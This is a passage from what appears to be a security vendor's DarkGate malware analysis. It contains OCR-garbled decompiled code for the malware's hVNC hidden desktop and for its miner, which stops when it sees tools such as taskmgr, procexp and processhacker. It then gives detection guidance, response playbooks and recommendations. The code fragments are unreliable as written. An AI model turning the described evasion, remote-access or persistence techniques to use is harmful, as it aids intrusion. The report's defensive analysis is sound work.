}
else |
FUM_00403668 ( (int *)&PTR_LAB 00416591+3_00415610, "\x01",extraout_ECX_01):
piVar5 = (int *)FUN_0044céc8 (piVar3,piVar4,extraout_ECK_02) ;
iVar2 = Oxd44ccc3;
(%% (code **) (*piVarS + 0x74))
(piVars, "C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf”) ;

local_10 = 07

hVNC

In addition to its capability to use AnyDesk for remote desktop access, DarkGate also
supports remote desktop access using hidden Virtual Network Computing (hVNC).
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local lec = (undefinedd4 *)estackOxfffffffec;
iVarge = 0x17;
do {
local 8 = 0;
iVarg = iVars + -1;
} while (iVarg != 0);
local_20 = gLAB 00435%9£2;
iStack_24 = *in_FS_OFFSET;
*in FS5 OFFSET = (int)s&iStack_24;
FUN_0043£554 ( (undefined4 *)"hVNC phase 17):
if (DAT _00457dd4c !'= "\0") {
FUN_0043£954 ({undefined4 *)"Cleaning virtualdesk hVNC processes”);
FUN_00404370 ( (LPSECURITY_ATTRIBUIES) 0x0,0,&LAB_00435200,&local _8,0,0) 2
}
DAT_00457d4c = 1;
FUN_00430ae8 (DAT_00457dé4, (int *)elocal c);
FUN_0043524c{DAT_00457d€4, (int *)astackOxfffffff0);
FUN_004441d0( (undefined4 *)&DAT_00435adc, *(int *)PTR_DAT_00456710,CONCAT22 (extracut_var,0x45a),
(byte **)gacackOxffffffeg);
FUN_0043£954( (undefined4 *)"hVNC phase 2");
cVarl = FUN_00445128( (undefined *)local c):
if (cVarl == "\0"') {
DAT_00457d4c = 0;
FUN_00404&ed ({int *)estackOxffffff84,unaff EBX, (undefinedd *)"™ not found"):
FUN_0043£954 (in_stack_ffffffg4);
ppbVar9d = (byte **)gstackOxffffffso;
FUN_00404éed ({int *)&scackO0xffffff78,unaff EBX, (undefinedd *)" not found®);
FUN_0044950c (in_stack ffffff78, (int *)estackOxfffffflc);
FUN_004441d0(in_stack ffffff7c,*({int *)PIR_DAT 00456710,CONCAT22 (extracut_var 00,0x53b),ppbVars)
}
else |
FUN_00433cc4 ("\x01");
pHVar2 = OpenDesktopA("virtualdesk”,0,-1,0x10000000):
& (HDESK *)PTR_DAT_00456500 = pHVar2;
if (*(int *)PTR_DAT_00456500 == 0) [
uStack_44 = 0x4355a0;
pHVar2 = CreateDesktopA("virtualdesk”™, (LPCSTR)0x0, (DEVMODEA *)0x0,0,0x10000000,
(LPSECURITY_ATTRIBUTES) 0x0) ;
* (HDESK *)PTR_DAT 00456500 = pHVar2;
}

Miners

Darkgate can deploy miners into the victim system. It has been configured to stop the miner
if task manager and tools such as process explorer and process hacker are detected.

19/28


https://www.logpoint.com/wp-content/uploads/2024/03/screenshot-2024-02-22-at-21.32.07.png

Poid FUN_0043fefc(void)

char *pcVarl:

undefined4 *in FS5 OFFSET;
undefined4 uStack lc;
undefined *puStack 18;
undefined *puStack_l4;

local_8 = (byte *)0x0;
local c = (byte *)0x0;
puStack_l8 = &LAB 0043ff28;
uStack_lc = *in F5 OFFSEI;
*in FS_OFFSET = guStack_lc;
FUN_00447c7c(slocal_c);

}
*in FS OFFSET = uStack lec;
puStack_l4 = gLAB 0043ff8f;

return;

puStack_l4 = gstackOxfffffffc;

FUN_00407fa4 (local_c,&local_g);
pcVarl = FUN_00404580("taskmgr.exe”, (char *)local_8);
if (({(int)pcVarl < 1) && (pcVarl

puStack_l8 = (undefined *)0x43£f£87;
FUN_004043e0((int *)s&local_c,2);

FUN_00404%80 ("procexp”, (char *)local_£), (int)pcVarl < 1))
(pcVarl = FUN_00404980 ("hwmonitor™, (char *)local £), (int)pcVarl < 1)) {
FUN_004049%80 ("processhacker.exe"”, (char *)local_8);

O043BES1 | mov eax,cccdbbb. au3. 43COF4
0D0438F 1A | mov eax,cccdbbb. aus. 43COF4
0043FF2A | mov eal.tttdbbE.luB.dBFFAO

Ameanarml mmis smu =i L LT

Detection

"Stub: Miner do not start because taskmanager is open!”
"Stub: Miner do not start because taskmanager is open!”
"taskmgr.exe"

Required log sources

The following should be enabled:

1. Windows

o Process Creation with command-line auditing

o Audit File System

o Registry Auditing

2. Windows Sysmon
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Detecting execution of initial access payload

From the above analysis, it is clear that when DarkGate executes .msi initial access
payload, there are set of processes that are spawned afterward. To look for such a process,
one can simply search for the child process of msiexec.exe

Using the above generic query to search for a child process created by msiexec.exe, the
analyst can use a filter to display the above-observed techniques:

When applications are installed in the windows relevant events are generated as well.

abel=Application label=Instal s wizard Al w LA MiN - I
event_source=Msilnstaller

host,rule_description,product

Besides the use of MSI files, other file formats are also used as initial payload, which can be
detected using the following alerts:

o WScript or CScript Dropper Detected

e MSHTA Spawning Windows Shell Detected
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o Suspicious Execution of LNK File

Also, the below alerts can be used to detect specific events related to the suspicious use of
expand.exe and icacls.exe binary by DarkGate payloads.

¢ File or Folder Permissions Modifications
o Suspicious File Extraction via Expand Detected
Suspicious Rundll32 activity detected

Recent samples have use rundll32 to download the DarkGate loader into the system.
Analysts can use this alert to detect the execution of malicious DLLs that result in the
download of the loader into the system via rundlI32.

(command command

& Found 12 oga

Detecting traces and execution of AutolT3 and script files

Now after detecting artifacts related to the execution of initial access, we can search for one
of the unique techniques used to deploy the DarkGate malware, for example the use of
Autoit3 and its malicious scripts:

Analysts can use the below query to detect events where Autoit3 and script files are being
created
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..........

After the binary and script files are downloaded, they are executed to drop other stages of
the payload

For persistence, the Autolt3 binary and the script are written in another folder. Later, they are
configured for persistence by placing them in the run registry. Therefore, analysts can use
the Autorun Keys Modification Detected alert to detect such events.

Detecting modification of internet settings

Before connecting to the C2, the loader tries to change Internet Settings to prevent any
issues during communication with the C2.

Note: The mentioned registry path in the query needs to be added in Sysmon Configuration
or SACL needs to be configured to generate relevant logs.
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Detecting techniques related to DarkGate

DarkGate uses psexec for remote command execution, which can be detected using the
following query.

As DarkGate is known to retrieve credential and cookies data from the web browser below,
analysts can use the query to hunt for such events, if appropriate SACL is configured to the
relevant folder with Audit File System.

Note: Appropriate SACL needs to be configured beside File System Auditing

DarkGate can change the configuration related to Terminal Service, which can be detected
using the following query:

Typically, miners are executed with the - -cpu-priority command-line argument. As
DarkGate can deploy miners into the system and during the analysis of a sample, we
observed hardcoded command-line configurations. Analysts can use the following query to
detect process creation events of miners.

DarkGate also deploys AnyDesk for remote access, so analysts can use the below query to
detect traces of AnyDesk installation and execution.

Responding to DarkGate

Upon detecting traces of the DarkGate malware, analysts can use the provided hunting
queries to establish them as triggers for subsequent playbooks. These playbooks automate
the response process against DarkGate infections.
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Logpoint AgentX Remove Item

DarkGate tends to create backup files and drop multiple payload files. By detecting relevant
files related to DarkGate, analysts can use Remove Item playbook to delete those files, or an
analyst can set relevant triggers to automate the process of running the playbook.

¢ Back  LogPoint AgentX Remove Item Rl ) s @ 3 @ 2 L

Logpoint AgentX Terminate Process

Based on the queries and alerts mentioned earlier, if the malware process remains active,
analysts can use the Terminate Process playbook to terminate it promptly.
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Logpoint AgentX Delete Registry Value

Analysts can use the Delete Registry Value playbook to delete the suspicious registry value
added in the Run registry key for persistence by the DarkGate loader.

¢ Bae  AgentX Delete Registry Value @ o a £ 4 ﬂ
==

Logpoint AgentX Isolate-Unisolate Host

After verifying the host is infected, analysts can use the Isolate-Unisolate Host playbook to
isolate the host to prevent further lateral movement and pivoting.
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Recommendations

o Malware like DarkGate and other malware families are distributed via social
engineering tactics. To combat these threats, organizations should provide regular
training to employees on recognizing and responding to social engineering attacks,
including simulated exercises that replicate real-world scenarios.

 In addition to enforcing a robust password policy, where password resets occur once a
year, raising awareness about password hygiene is crucial. Users should avoid reusing
passwords across multiple accounts to prevent adversaries from accessing other
services if one password is compromised. Additionally, implementing Multi-Factor
Authentication (MFA) on all users, if feasible, otherwise MFA for privileged users or
cloud accounts adds an extra layer of security by requiring multiple forms of
verification, making it harder for adversaries to gain access.

e Implement least privilege to restrict user access and permissions, giving employees
only what is necessary for them to perform their job functions. By doing so,
organizations can significantly reduce the risk of unauthorized access or malicious
activity if the user account is compromised.

e The use of endpoint protection systems is pivotal in detecting and blocking malware, as
demonstrated by DarkGate terminating its actions upon detecting specific antivirus
products.

* Implementing proper network segmentation is vital for safeguarding essential systems
and sensitive data from malware and adversaries. By keeping these critical assets
isolated from the rest of the network, organizations can reduce the risk of lateral
movement or pivoting.
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» Regularly auditing privileged accounts and their activities helps detect misuse or
anomalies that could lead to data breaches, system failures, and other security
incidents. By closely monitoring privileged access, organizations can identify
suspicious behavior and take prompt action to mitigate risks, enhancing overall
security.

e Regularly updating devices, browsers, and other software applications is a critical
security practice that can help protect systems from known vulnerabilities and cyber
threats.

e Proper logging, asset visibility, and system monitoring are crucial for cybersecurity.
They offer network oversight and anomaly detection. Regular monitoring and auditing
track user activity and identify unusual behavior. Comprehensive log collection from all
systems is essential.

o Threat actors leverage Remote Monitoring and Management (RMM) tools such as
AnyDesk, Atera, etc., for remote desktop access. Organizations should monitor the use
of such tools. Additionally, it is crucial to monitor the installation of applications
because, as observed with DarkGate, it installs applications at multiple stages of the
attack cycle.

« |f feasible, configure an appropriate host-based firewall policy to limit the outbound
communication from certain applications such as Wscript, Rundll32, and Mshta, which
are extensively abused by threat actors to drop other stages of payloads.

o Additionally, it is recommended to have an adequate log retention policy in place to
ensure that log data is available for analysis in the event of an incident. For better
visibility, it is recommended to have a log retention time of at least six months.

o Finally, ensure that an incident response plan is in place for prompt action upon
incident detection, aimed at minimizing damage.

For centralized logging and visibility, Logpoint can help with an end-to-end security
operations platform, Converged SIEM. Logpoint covers the entire threat detection,
investigation, and response process with SIEM, SOAR, and UEBA, including a native
endpoint agent. For more information on getting started with Logpoint, book a demo to see
Converged SIEM in action.
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